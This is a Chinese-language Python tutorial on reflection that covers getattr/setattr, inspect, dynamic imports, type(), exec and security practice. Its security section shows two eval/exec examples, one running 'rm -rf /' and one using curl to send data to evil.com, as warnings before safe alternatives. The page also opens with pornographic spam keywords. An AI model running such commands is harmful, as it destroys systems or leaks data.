最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python反射用法實戰(zhàn)完整學習筆記

 更新時間:2026年01月28日 09:42:07   作者:其美杰布-富貴-李  
反射就是程序在運行時能夠觀察自己,獲取、檢查和修改自身狀態(tài)或行為的一種能力,這篇文章主要介紹了Python反射用法的相關資料,文中通過代碼介紹的非常詳細,需要的朋友可以參考下

1. 什么是反射(Reflection)

1.1 定義與核心概念

反射(Reflection) 是指程序在運行時能夠:

  • 檢查(inspect)對象的類型、屬性、方法
  • 訪問(access)對象的屬性和方法
  • 修改(modify)對象的屬性和方法
  • 調用(invoke)對象的方法

簡單來說:反射 = 運行時的動態(tài)操作能力

1.2 Python 中反射的特點

Python 是一門動態(tài)類型語言,天然支持反射:

特性說明
動態(tài)類型變量類型在運行時確定
一切皆對象類、函數(shù)、模塊都是對象
內置反射函數(shù)getattr, setattr, hasattr
豐富的元數(shù)據(jù)__dict__, __class__, __module__

1.3 反射 vs 內省

概念定義示例
內?。↖ntrospection)只讀取對象信息,不修改type(), dir(), isinstance()
反射(Reflection)讀取 + 修改 + 調用getattr(), setattr(), delattr()

結論:內省是反射的子集,Python 兩者都支持。

2. 為什么需要反射

2.1 動態(tài)性的價值

反射使代碼更加靈活可擴展

# 靜態(tài)方式:硬編碼
if action == "create":
    obj.create()
elif action == "update":
    obj.update()
elif action == "delete":
    obj.delete()

# 反射方式:動態(tài)調用
method = getattr(obj, action)  # 根據(jù)字符串獲取方法
method()  # 調用方法

優(yōu)勢

  • 減少 if-else 分支
  • 易于擴展新功能(無需修改代碼)
  • 適合插件化架構

2.2 典型應用場景

場景說明示例
框架開發(fā)自動路由、ORM 映射Django, Flask, SQLAlchemy
插件系統(tǒng)動態(tài)加載第三方模塊Pytest 插件機制
序列化對象 ↔ JSON/XML/DBjson.dumps(), Pickle
配置驅動根據(jù)配置文件動態(tài)創(chuàng)建對象工廠模式
測試框架自動發(fā)現(xiàn)測試用例unittest, pytest
調試工具運行時查看對象狀態(tài)pdb, ipdb

3. 核心函數(shù)與用法

3.1getattr()- 獲取屬性/方法

語法

getattr(object, name[, default])

功能

  • 根據(jù)字符串名稱獲取對象的屬性或方法
  • 若屬性不存在,返回 default(若未提供則拋出 AttributeError

示例

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age
    
    def greet(self):
        return f"Hello, I'm {self.name}"

p = Person("Alice", 30)

# 獲取屬性
name = getattr(p, "name")  # "Alice"
salary = getattr(p, "salary", 0)  # 不存在,返回默認值 0

# 獲取方法
greet_func = getattr(p, "greet")
print(greet_func())  # "Hello, I'm Alice"

# 動態(tài)調用
attr_name = input("輸入屬性名: ")  # 用戶輸入 "age"
value = getattr(p, attr_name, None)
print(value)  # 30

等價寫法

# getattr(obj, "name") 等價于
obj.name  # 靜態(tài)訪問
obj.__dict__["name"]  # 字典訪問

3.2setattr()- 設置屬性

語法

setattr(object, name, value)

功能

  • 動態(tài)設置對象的屬性值
  • 若屬性不存在,則創(chuàng)建新屬性

示例

class Config:
    pass

config = Config()

# 動態(tài)設置屬性
setattr(config, "host", "localhost")
setattr(config, "port", 8080)

print(config.host)  # "localhost"
print(config.port)  # 8080

# 批量設置
settings = {"debug": True, "timeout": 30}
for key, value in settings.items():
    setattr(config, key, value)

print(config.debug)  # True

等價寫法

# setattr(obj, "name", value) 等價于
obj.name = value
obj.__dict__["name"] = value

3.3hasattr()- 檢查屬性是否存在

語法

hasattr(object, name)

功能

  • 判斷對象是否有某個屬性/方法
  • 返回 TrueFalse

示例

class Dog:
    def __init__(self, name):
        self.name = name
    
    def bark(self):
        return "Woof!"

dog = Dog("Buddy")

print(hasattr(dog, "name"))  # True
print(hasattr(dog, "age"))   # False
print(hasattr(dog, "bark"))  # True

# 安全的屬性訪問
if hasattr(dog, "age"):
    print(dog.age)
else:
    print("Dog has no age attribute")

內部實現(xiàn)

# hasattr 等價于
try:
    getattr(obj, name)
    return True
except AttributeError:
    return False

3.4delattr()- 刪除屬性

語法

delattr(object, name)

功能

  • 刪除對象的屬性
  • 若屬性不存在,拋出 AttributeError

示例

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

user = User("admin", "secret123")

# 刪除敏感屬性
delattr(user, "password")

print(hasattr(user, "password"))  # False

# 等價寫法
del user.username

3.5dir()- 列出所有屬性和方法

語法

dir([object])

功能

  • 返回對象的所有屬性和方法的名稱列表
  • 包括繼承的屬性和魔法方法

示例

class MyClass:
    class_var = "I'm a class variable"
    
    def __init__(self):
        self.instance_var = "I'm an instance variable"
    
    def my_method(self):
        pass

obj = MyClass()

# 查看所有屬性和方法
print(dir(obj))
# ['__class__', '__delattr__', '__dict__', ..., 'class_var', 'instance_var', 'my_method']

# 過濾出用戶定義的屬性
user_attrs = [attr for attr in dir(obj) if not attr.startswith("__")]
print(user_attrs)  # ['class_var', 'instance_var', 'my_method']

3.6vars()- 返回對象的__dict__

語法

vars([object])

功能

  • 返回對象的 __dict__ 屬性(屬性字典)
  • 不包括方法和類屬性(僅實例屬性)

示例

class Book:
    category = "fiction"  # 類屬性
    
    def __init__(self, title, author):
        self.title = title
        self.author = author

book = Book("1984", "Orwell")

print(vars(book))  # {'title': '1984', 'author': 'Orwell'}
print(book.__dict__)  # 等價

# 修改屬性
vars(book)["price"] = 19.99
print(book.price)  # 19.99

注意

  • vars() 只返回實例屬性
  • 類屬性需要通過 vars(MyClass)MyClass.__dict__ 獲取

3.7 其他常用函數(shù)

函數(shù)功能示例
type(obj)獲取對象的類型type(123)<class 'int'>
isinstance(obj, class)判斷對象是否是某類的實例isinstance([], list)True
callable(obj)判斷對象是否可調用callable(print)True
id(obj)獲取對象的內存地址id("hello")

綜合示例

def process_object(obj):
    print(f"類型: {type(obj)}")
    print(f"ID: {id(obj)}")
    print(f"是否可調用: {callable(obj)}")
    print(f"屬性列表: {[a for a in dir(obj) if not a.startswith('_')]}")

process_object(lambda x: x * 2)
# 類型: <class 'function'>
# 是否可調用: True
# 屬性列表: ['__annotations__', '__call__', ...]

4. 對象屬性訪問機制

4.1__dict__屬性字典

核心概念

  • Python 對象的屬性存儲在 __dict__ 字典中
  • 鍵是屬性名(字符串),值是屬性值

示例

class Point:
    def __init__(self, x, y):
        self.x = x
        self.y = y

p = Point(10, 20)

print(p.__dict__)  # {'x': 10, 'y': 20}

# 直接修改 __dict__
p.__dict__["z"] = 30
print(p.z)  # 30

# 動態(tài)添加屬性
p.color = "red"
print(p.__dict__)  # {'x': 10, 'y': 20, 'z': 30, 'color': 'red'}

類屬性 vs 實例屬性

class Counter:
    count = 0  # 類屬性
    
    def __init__(self, name):
        self.name = name  # 實例屬性

c1 = Counter("A")
c2 = Counter("B")

print(c1.__dict__)  # {'name': 'A'}
print(Counter.__dict__["count"])  # 0

# 修改類屬性
Counter.count = 10
print(c1.count)  # 10(通過繼承訪問)
print(c2.count)  # 10

4.2__slots__限制屬性

問題__dict__ 占用內存,對于大量實例不友好

解決方案:使用 __slots__ 預定義屬性

示例

class Point2D:
    __slots__ = ["x", "y"]  # 只允許這兩個屬性
    
    def __init__(self, x, y):
        self.x = x
        self.y = y

p = Point2D(5, 10)

# 無法動態(tài)添加新屬性
try:
    p.z = 15
except AttributeError as e:
    print(e)  # 'Point2D' object has no attribute 'z'

# 沒有 __dict__
print(hasattr(p, "__dict__"))  # False

對比

特性__dict____slots__
內存占用較大(每個實例一個字典)較?。ü潭ù笮。?/td>
動態(tài)屬性支持不支持
訪問速度稍慢稍快
適用場景靈活的對象大量相同結構的實例

4.3 屬性查找順序(MRO)

查找流程

  1. 實例的 __dict__
  2. 類的 __dict__
  3. 父類的 __dict__(按 MRO 順序)
  4. 拋出 AttributeError

示例

class Animal:
    species = "Unknown"

class Dog(Animal):
    species = "Canine"

dog = Dog()
dog.species = "My Dog"

print(dog.species)  # "My Dog"(實例屬性優(yōu)先)
del dog.species
print(dog.species)  # "Canine"(類屬性)
Dog.species = "Deleted"
print(dog.species)  # "Deleted"

查看 MRO

print(Dog.__mro__)
# (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>)

5. 高級反射技術

5.1inspect模塊深入

inspect 模塊提供了更強大的反射功能:

5.1.1 檢查函數(shù)簽名

import inspect

def greet(name: str, age: int = 18, *, city: str = "Beijing") -> str:
    return f"{name}, {age}, from {city}"

# 獲取簽名
sig = inspect.signature(greet)
print(sig)  # (name: str, age: int = 18, *, city: str = 'Beijing') -> str

# 獲取參數(shù)信息
for param_name, param in sig.parameters.items():
    print(f"{param_name}: {param.annotation}, 默認值={param.default}")
# name: <class 'str'>, 默認值=<class 'inspect._empty'>
# age: <class 'int'>, 默認值=18
# city: <class 'str'>, 默認值=Beijing

5.1.2 檢查類和對象

import inspect

class MyClass:
    def method(self):
        pass

# 判斷是否是類
print(inspect.isclass(MyClass))  # True

# 判斷是否是函數(shù)
print(inspect.isfunction(MyClass.method))  # True

# 判斷是否是方法
obj = MyClass()
print(inspect.ismethod(obj.method))  # True

# 獲取類的所有成員
members = inspect.getmembers(MyClass)
for name, value in members:
    if not name.startswith("_"):
        print(f"{name}: {value}")

5.1.3 獲取源代碼

import inspect

def fibonacci(n):
    """計算斐波那契數(shù)列"""
    if n <= 1:
        return n
    return fibonacci(n-1) + fibonacci(n-2)

# 獲取函數(shù)源代碼
source = inspect.getsource(fibonacci)
print(source)

# 獲取文檔字符串
doc = inspect.getdoc(fibonacci)
print(doc)  # "計算斐波那契數(shù)列"

5.2 動態(tài)導入模塊

方式一:使用 __import__()

# 傳統(tǒng)方式
import math

# 動態(tài)導入
module_name = "math"
math_module = __import__(module_name)
print(math_module.pi)  # 3.141592653589793

方式二:使用 importlib(推薦)

import importlib

# 動態(tài)導入模塊
module_name = "json"
json_module = importlib.import_module(module_name)

data = json_module.dumps({"key": "value"})
print(data)  # '{"key": "value"}'

# 重新加載模塊(開發(fā)中調試用)
importlib.reload(json_module)

實戰(zhàn):插件系統(tǒng)

import importlib
import os

def load_plugins(plugin_dir):
    """動態(tài)加載插件目錄下的所有插件"""
    plugins = []
    for filename in os.listdir(plugin_dir):
        if filename.endswith(".py") and not filename.startswith("_"):
            module_name = filename[:-3]  # 去掉 .py
            module = importlib.import_module(f"plugins.{module_name}")
            plugins.append(module)
    return plugins

# 使用
# plugins = load_plugins("./plugins")
# for plugin in plugins:
#     plugin.run()

5.3 動態(tài)創(chuàng)建類和函數(shù)

5.3.1 使用type()創(chuàng)建類

基礎語法

# 正常定義類
class MyClass:
    x = 10

# 使用 type() 動態(tài)創(chuàng)建
MyClass2 = type("MyClass2", (object,), {"x": 10})

print(MyClass2.x)  # 10

完整示例

# 定義方法
def greet(self):
    return f"Hello from {self.name}"

def __init__(self, name):
    self.name = name

# 動態(tài)創(chuàng)建類
Person = type(
    "Person",                    # 類名
    (object,),                   # 父類元組
    {                            # 類屬性和方法
        "__init__": __init__,
        "greet": greet,
        "species": "Human"
    }
)

# 使用動態(tài)創(chuàng)建的類
p = Person("Alice")
print(p.greet())  # "Hello from Alice"
print(p.species)  # "Human"

5.3.2 使用types.FunctionType創(chuàng)建函數(shù)

import types

# 創(chuàng)建函數(shù)
code = compile("return x + y", "<string>", "eval")
add_func = types.FunctionType(code, globals(), "add", (0, 0))

print(add_func(5, 3))  # 8

5.3.3 使用exec()動態(tài)執(zhí)行代碼

# 動態(tài)定義類
class_code = """
class Calculator:
    def add(self, a, b):
        return a + b
    
    def multiply(self, a, b):
        return a * b
"""

namespace = {}
exec(class_code, namespace)

Calculator = namespace["Calculator"]
calc = Calculator()
print(calc.add(10, 5))  # 15

?? 安全警告

  • exec()eval() 執(zhí)行任意代碼,存在安全風險
  • 永遠不要對用戶輸入使用 exec()eval()

6. 實戰(zhàn)應用案例

6.1 插件系統(tǒng)

需求:根據(jù)配置文件動態(tài)加載不同的數(shù)據(jù)處理器

# plugins/csv_processor.py
class CsvProcessor:
    def process(self, data):
        return f"Processing CSV: {data}"

# plugins/json_processor.py
class JsonProcessor:
    def process(self, data):
        return f"Processing JSON: {data}"

# main.py
import importlib

def load_processor(processor_name):
    """動態(tài)加載處理器"""
    module = importlib.import_module(f"plugins.{processor_name.lower()}_processor")
    class_name = f"{processor_name.capitalize()}Processor"
    return getattr(module, class_name)

# 使用
config = {"processor": "json"}  # 從配置文件讀取
ProcessorClass = load_processor(config["processor"])
processor = ProcessorClass()
print(processor.process("sample data"))
# "Processing JSON: sample data"

6.2 ORM 框架原理(簡化版)

需求:將對象屬性映射到數(shù)據(jù)庫字段

class Model:
    """簡易 ORM 基類"""
    
    def save(self):
        """將對象保存到數(shù)據(jù)庫(偽代碼)"""
        table_name = self.__class__.__name__.lower()
        fields = []
        values = []
        
        # 反射獲取所有屬性
        for attr, value in vars(self).items():
            if not attr.startswith("_"):
                fields.append(attr)
                values.append(repr(value))
        
        sql = f"INSERT INTO {table_name} ({', '.join(fields)}) VALUES ({', '.join(values)})"
        print(f"執(zhí)行 SQL: {sql}")
        return sql

class User(Model):
    def __init__(self, username, email):
        self.username = username
        self.email = email

# 使用
user = User("alice", "alice@example.com")
user.save()
# 執(zhí)行 SQL: INSERT INTO user (username, email) VALUES ('alice', 'alice@example.com')

6.3 序列化/反序列化

需求:將對象轉換為 JSON

import json

class Student:
    def __init__(self, name, age, grade):
        self.name = name
        self.age = age
        self.grade = grade
    
    def to_dict(self):
        """使用反射將對象轉為字典"""
        return {k: v for k, v in vars(self).items() if not k.startswith("_")}
    
    @classmethod
    def from_dict(cls, data):
        """從字典創(chuàng)建對象"""
        return cls(**data)

# 序列化
student = Student("Bob", 15, "A")
json_str = json.dumps(student.to_dict())
print(json_str)  # '{"name": "Bob", "age": 15, "grade": "A"}'

# 反序列化
data = json.loads(json_str)
new_student = Student.from_dict(data)
print(new_student.name)  # "Bob"

6.4 動態(tài)路由(Web 框架)

需求:根據(jù) URL 自動調用對應的處理函數(shù)

class Router:
    def __init__(self):
        self.routes = {}
    
    def route(self, path):
        """裝飾器:注冊路由"""
        def decorator(func):
            self.routes[path] = func
            return func
        return decorator
    
    def dispatch(self, path, *args, **kwargs):
        """根據(jù)路徑調用對應函數(shù)"""
        if path in self.routes:
            handler = self.routes[path]
            return handler(*args, **kwargs)
        else:
            return "404 Not Found"

# 使用
router = Router()

@router.route("/home")
def home():
    return "Welcome to Home Page"

@router.route("/about")
def about():
    return "About Us"

# 動態(tài)調用
print(router.dispatch("/home"))   # "Welcome to Home Page"
print(router.dispatch("/about"))  # "About Us"
print(router.dispatch("/404"))    # "404 Not Found"

7. 性能與安全

7.1 反射的性能開銷

實驗對比

import timeit

class MyClass:
    def __init__(self):
        self.value = 42
    
    def get_value(self):
        return self.value

obj = MyClass()

# 直接訪問
def direct_access():
    return obj.value

# 反射訪問
def reflection_access():
    return getattr(obj, "value")

# 性能測試
direct_time = timeit.timeit(direct_access, number=1000000)
reflection_time = timeit.timeit(reflection_access, number=1000000)

print(f"直接訪問: {direct_time:.4f}s")
print(f"反射訪問: {reflection_time:.4f}s")
print(f"反射慢了: {reflection_time / direct_time:.2f}x")

# 典型結果:反射慢 2-3 倍

結論

  • 反射比直接訪問慢 2-5 倍
  • 對于高頻調用,考慮緩存或優(yōu)化
  • 對于配置加載、插件系統(tǒng)等低頻場景,性能影響可忽略

7.2 安全隱患

危險函數(shù):eval()和exec()

問題:可執(zhí)行任意 Python 代碼

# 危險示例(永遠不要這樣做)
user_input = "__import__('os').system('rm -rf /')"  # 惡意代碼
eval(user_input)  # ?? 系統(tǒng)被刪除

# 攻擊示例
user_input = "__import__('subprocess').call(['curl', 'evil.com/steal_data'])"
exec(user_input)  # ?? 數(shù)據(jù)泄露

安全替代方案

import ast

# 方案 1: 使用 ast.literal_eval(僅支持字面量)
safe_data = ast.literal_eval("{'key': 'value', 'number': 123}")
print(safe_data)  # {'key': 'value', 'number': 123}

# 方案 2: 限制命名空間
safe_namespace = {"__builtins__": {}}
eval("1 + 1", safe_namespace)  # 安全
# eval("open('/etc/passwd')", safe_namespace)  # 報錯

# 方案 3: 使用白名單
allowed_attrs = {"add", "subtract", "multiply"}
attr = "add"
if attr in allowed_attrs:
    method = getattr(calculator, attr)

7.3 最佳實踐

原則說明示例
最小權限只暴露必要的屬性和方法使用 __slots__ 或屬性驗證
白名單明確允許的操作,而非黑名單if attr in ALLOWED: ...
輸入驗證永遠不要信任用戶輸入檢查類型、長度、格式
避免 eval/exec使用 ast.literal_eval 或解析庫JSON: json.loads()
日志審計記錄反射操作logging.info(f"Accessed {attr}")

安全的動態(tài)調用模式

class SafeAPI:
    ALLOWED_METHODS = {"get_data", "save_data"}
    
    def get_data(self):
        return "data"
    
    def save_data(self, data):
        print(f"Saving: {data}")
    
    def _internal_method(self):
        """內部方法,不應被外部調用"""
        pass
    
    def execute(self, method_name, *args, **kwargs):
        """安全的動態(tài)調用"""
        # 1. 檢查白名單
        if method_name not in self.ALLOWED_METHODS:
            raise ValueError(f"Method {method_name} not allowed")
        
        # 2. 檢查方法是否存在
        if not hasattr(self, method_name):
            raise AttributeError(f"Method {method_name} not found")
        
        # 3. 獲取并調用
        method = getattr(self, method_name)
        return method(*args, **kwargs)

# 使用
api = SafeAPI()
api.execute("get_data")  # ? 安全
# api.execute("_internal_method")  # ? 拋出異常

8. 常見誤區(qū)與對比

8.1 反射 vs 硬編碼

場景推薦方式原因
固定的少量選項硬編碼(if-else)性能更好,代碼更清晰
大量可擴展的選項反射易于維護,可擴展
用戶輸入驅動反射(帶驗證)靈活,但需安全措施
性能關鍵路徑硬編碼避免反射開銷

錯誤示例

# ? 過度使用反射
def process(action):
    return getattr(self, action)()  # 危險!

# ? 合理的反射
ACTIONS = {"create", "update", "delete"}
def process(action):
    if action not in ACTIONS:
        raise ValueError("Invalid action")
    return getattr(self, action)()

8.2 何時不應使用反射

情況原因替代方案
性能敏感反射慢 2-5 倍直接訪問或緩存
固定邏輯增加復雜度硬編碼
類型安全運行時錯誤靜態(tài)類型檢查(Type Hints)
安全關鍵易被攻擊白名單 + 驗證

8.3 反射與其他語言對比

語言反射支持特點
Python? 原生支持動態(tài)類型,簡單易用
Java? java.lang.reflect強類型,API 復雜
C++? 無原生支持可通過 RTTI 部分實現(xiàn)
Go? reflect性能較好,語法復雜
JavaScript? 原生支持動態(tài)類型,與 Python 類似

9. 擴展閱讀

9.1 相關主題

  • 裝飾器(Decorator):使用反射實現(xiàn)的語法糖
  • 元類(Metaclass):類的類,更深層的反射
  • 描述符(Descriptor)@property 的底層機制
  • 上下文管理器(Context Manager)with 語句的反射應用

9.2 進階學習資源

  • 官方文檔:Python Data Model
  • 書籍:《Fluent Python》第五章 - 數(shù)據(jù)模型
  • PEP:
    • PEP 252: Making Types Look More Like Classes
    • PEP 3115: Metaclasses in Python 3

9.3 實戰(zhàn)項目

  • Django ORM:研究其反射機制
  • Flask 路由:分析裝飾器和反射的結合
  • Pytest:學習其插件發(fā)現(xiàn)機制

總結

核心要點

  1. 反射是什么:運行時檢查、訪問、修改對象的能力
  2. 核心函數(shù)getattr, setattr, hasattr, delattr, dir, vars
  3. 高級工具inspect 模塊、動態(tài)導入、type() 創(chuàng)建類
  4. 應用場景:插件系統(tǒng)、ORM、序列化、動態(tài)路由
  5. 注意事項:性能開銷、安全風險、避免濫用

學習檢查清單

  • 理解反射與內省的區(qū)別
  • 熟練使用 getattr/setattr/hasattr/delattr
  • 了解 __dict____slots__ 的差異
  • 掌握 inspect 模塊的常用功能
  • 能夠實現(xiàn)簡單的插件系統(tǒng)
  • 理解反射的性能和安全問題
  • 知道何時使用/不使用反射

實踐建議

  1. 小項目練習:實現(xiàn)一個配置驅動的任務調度器
  2. 閱讀源碼:研究 Django、Flask 的反射使用
  3. 性能測試:對比反射與直接訪問的性能差異
  4. 安全審計:檢查項目中是否存在 eval/exec 的濫用

附錄:快速參考表

常用反射函數(shù)速查

# 獲取屬性
getattr(obj, "attr", default)

# 設置屬性
setattr(obj, "attr", value)

# 檢查屬性
hasattr(obj, "attr")

# 刪除屬性
delattr(obj, "attr")

# 列出所有屬性
dir(obj)

# 獲取屬性字典
vars(obj)  # 等價于 obj.__dict__

# 動態(tài)導入
import importlib
module = importlib.import_module("module_name")

# 動態(tài)創(chuàng)建類
MyClass = type("MyClass", (BaseClass,), {"attr": value})

# 獲取函數(shù)簽名
import inspect
inspect.signature(func)

安全檢查模板

def safe_call(obj, method_name, *args, **kwargs):
    """安全的動態(tài)方法調用"""
    # 1. 白名單檢查
    if method_name not in ALLOWED_METHODS:
        raise ValueError(f"Method {method_name} not allowed")
    
    # 2. 存在性檢查
    if not hasattr(obj, method_name):
        raise AttributeError(f"Method {method_name} not found")
    
    # 3. 可調用性檢查
    method = getattr(obj, method_name)
    if not callable(method):
        raise TypeError(f"{method_name} is not callable")
    
    # 4. 執(zhí)行
    return method(*args, **kwargs)

總結 

到此這篇關于Python反射用法實戰(zhàn)的文章就介紹到這了,更多相關Python反射用法內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

最新評論

长寿区| 阿瓦提县| 旺苍县| 沈丘县| 固始县| 吉林市| 枣强县| 修武县| 乌海市| 收藏| 南投县| 南澳县| 青神县| 交口县| 肃南| 克拉玛依市| 阳谷县| 崇左市| 宁城县| 大渡口区| 安龙县| 扬中市| 红安县| 安陆市| 繁峙县| 历史| 蒲江县| 霍林郭勒市| 双江| 莱阳市| 云龙县| 获嘉县| 汉沽区| 马鞍山市| 乐清市| 全州县| 二连浩特市| 仁布县| 平阳县| 贵定县| 松原市|